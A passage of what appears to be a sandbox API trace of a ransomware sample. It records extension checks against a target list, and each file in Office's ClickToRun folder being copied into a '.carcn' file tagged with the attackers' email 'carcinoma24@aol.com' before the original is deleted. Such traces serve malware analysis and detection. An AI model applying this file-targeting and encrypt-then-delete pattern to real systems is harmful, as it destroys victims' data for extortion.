shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.080] lstrlenW (lpString=".dbf") returned 4 [0293.080] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.080] lstrlenW (lpString=".1cd") returned 4 [0293.080] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.080] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0293.080] lstrlenW (lpString=".jpg") returned 4 [0293.080] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.080] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.080] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0293.080] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.081] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=2118360) returned 1 [0293.081] CloseHandle (hObject=0x358) returned 1 [0293.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0293.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.082] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0293.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0293.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.087] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.087] lstrlenW (lpString=".doc") returned 4 [0293.087] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.087] lstrlenW (lpString=".docx") returned 5 [0293.087] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0293.087] lstrlenW (lpString=".pdf") returned 4 [0293.087] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.087] lstrlenW (lpString=".xls") returned 4 [0293.087] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.087] lstrlenW (lpString=".xlsx") returned 5 [0293.088] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0293.088] lstrlenW (lpString=".ppt") returned 4 [0293.088] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.088] lstrlenW (lpString=".zip") returned 4 [0293.088] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.088] lstrlenW (lpString=".rar") returned 4 [0293.088] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.088] lstrlenW (lpString=".bz2") returned 4 [0293.088] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.088] lstrlenW (lpString=".7z") returned 3 [0293.088] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.088] lstrlenW (lpString=".dbf") returned 4 [0293.088] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.088] lstrlenW (lpString=".1cd") returned 4 [0293.088] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.088] lstrlenW (lpString=".jpg") returned 4 [0293.088] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.088] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.088] lstrlenW (lpString=".doc") returned 4 [0293.088] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.088] lstrlenW (lpString=".docx") returned 5 [0293.088] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0293.088] lstrlenW (lpString=".pdf") returned 4 [0293.088] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.089] lstrlenW (lpString=".xls") returned 4 [0293.089] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.089] lstrlenW (lpString=".xlsx") returned 5 [0293.089] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0293.089] lstrlenW (lpString=".ppt") returned 4 [0293.089] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.089] lstrlenW (lpString=".zip") returned 4 [0293.089] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.089] lstrlenW (lpString=".rar") returned 4 [0293.089] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.089] lstrlenW (lpString=".bz2") returned 4 [0293.089] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.089] lstrlenW (lpString=".7z") returned 3 [0293.089] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.089] lstrlenW (lpString=".dbf") returned 4 [0293.089] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.089] lstrlenW (lpString=".1cd") returned 4 [0293.089] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.089] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0293.089] lstrlenW (lpString=".jpg") returned 4 [0293.089] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.089] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.090] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0293.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.090] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=468696) returned 1 [0293.090] CloseHandle (hObject=0x358) returned 1 [0293.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0293.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.090] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.091] lstrlenW (lpString=".doc") returned 4 [0293.091] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.091] lstrlenW (lpString=".docx") returned 5 [0293.091] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0293.091] lstrlenW (lpString=".pdf") returned 4 [0293.091] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.091] lstrlenW (lpString=".xls") returned 4 [0293.091] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.091] lstrlenW (lpString=".xlsx") returned 5 [0293.091] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0293.091] lstrlenW (lpString=".ppt") returned 4 [0293.091] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.091] lstrlenW (lpString=".zip") returned 4 [0293.091] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.091] lstrlenW (lpString=".rar") returned 4 [0293.091] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.091] lstrlenW (lpString=".bz2") returned 4 [0293.091] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.091] lstrlenW (lpString=".7z") returned 3 [0293.091] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.091] lstrlenW (lpString=".dbf") returned 4 [0293.091] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.091] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.091] lstrlenW (lpString=".1cd") returned 4 [0293.092] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.092] lstrlenW (lpString=".jpg") returned 4 [0293.092] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.092] lstrlenW (lpString=".doc") returned 4 [0293.092] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString=".docx") returned 5 [0293.092] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0293.092] lstrlenW (lpString=".pdf") returned 4 [0293.092] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString=".xls") returned 4 [0293.092] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString=".xlsx") returned 5 [0293.092] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0293.092] lstrlenW (lpString=".ppt") returned 4 [0293.092] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.092] lstrlenW (lpString=".zip") returned 4 [0293.092] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString=".rar") returned 4 [0293.092] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.092] lstrlenW (lpString=".bz2") returned 4 [0293.092] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.092] lstrlenW (lpString=".7z") returned 3 [0293.092] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.092] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.092] lstrlenW (lpString=".dbf") returned 4 [0293.093] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.093] lstrlenW (lpString=".1cd") returned 4 [0293.093] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0293.093] lstrlenW (lpString=".jpg") returned 4 [0293.093] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.093] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.093] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0293.093] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.094] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=396960) returned 1 [0293.094] CloseHandle (hObject=0x358) returned 1 [0293.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0293.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.094] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.094] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0293.095] GetLastError () returned 0x0 [0293.095] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0293.106] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x60eb0, lpOverlapped=0x0) returned 1 [0293.480] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.480] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xfa, lpOverlapped=0x0) returned 1 [0293.481] SetEndOfFile (hFile=0x334) returned 1 [0293.481] CloseHandle (hObject=0x334) returned 1 [0293.481] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.481] SetEndOfFile (hFile=0x358) returned 1 [0293.484] CloseHandle (hObject=0x358) returned 1 [0293.484] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.484] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 1 [0293.484] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString=".doc") returned 4 [0293.485] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString=".docx") returned 5 [0293.485] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0293.485] lstrlenW (lpString=".pdf") returned 4 [0293.485] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString=".xls") returned 4 [0293.485] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString=".xlsx") returned 5 [0293.485] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0293.485] lstrlenW (lpString=".ppt") returned 4 [0293.485] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString=".zip") returned 4 [0293.485] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString=".rar") returned 4 [0293.485] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString=".bz2") returned 4 [0293.485] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.485] lstrlenW (lpString=".7z") returned 3 [0293.485] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString=".dbf") returned 4 [0293.485] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString=".1cd") returned 4 [0293.485] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString=".jpg") returned 4 [0293.485] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.485] lstrlenW (lpString=".doc") returned 4 [0293.486] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.486] lstrlenW (lpString=".docx") returned 5 [0293.486] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0293.486] lstrlenW (lpString=".pdf") returned 4 [0293.486] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.486] lstrlenW (lpString=".xls") returned 4 [0293.486] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.486] lstrlenW (lpString=".xlsx") returned 5 [0293.486] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0293.486] lstrlenW (lpString=".ppt") returned 4 [0293.486] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.486] lstrlenW (lpString=".zip") returned 4 [0293.486] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.486] lstrlenW (lpString=".rar") returned 4 [0293.486] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.486] lstrlenW (lpString=".bz2") returned 4 [0293.486] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.486] lstrlenW (lpString=".7z") returned 3 [0293.486] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.486] lstrlenW (lpString=".dbf") returned 4 [0293.486] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.486] lstrlenW (lpString=".1cd") returned 4 [0293.486] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.486] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll") returned 77 [0293.486] lstrlenW (lpString=".jpg") returned 4 [0293.486] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.486] lstrcmpiW (lpString1=".exe", lpString2=".carcn") returned 1 [0293.487] lstrlenW (lpString="AppVShNotify.exe") returned 16 [0293.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.487] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=263896) returned 1 [0293.487] CloseHandle (hObject=0x358) returned 1 [0293.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0293.487] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0293.487] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.487] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.488] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0293.488] GetLastError () returned 0x0 [0293.488] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x406d8, lpOverlapped=0x0) returned 1 [0293.556] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0x406e0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0x406e0, lpOverlapped=0x0) returned 1 [0293.561] ReadFile (in: hFile=0x358, lpBuffer=0x428d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0293.561] WriteFile (in: hFile=0x334, lpBuffer=0x428d020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x428d020*, lpNumberOfBytesWritten=0x38bfc94*=0xf4, lpOverlapped=0x0) returned 1 [0293.561] SetEndOfFile (hFile=0x334) returned 1 [0293.562] CloseHandle (hObject=0x334) returned 1 [0293.562] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0293.562] SetEndOfFile (hFile=0x358) returned 1 [0293.565] CloseHandle (hObject=0x358) returned 1 [0293.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.565] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 1 [0293.565] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.566] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned 74 [0293.566] lstrlenW (lpString=".doc") returned 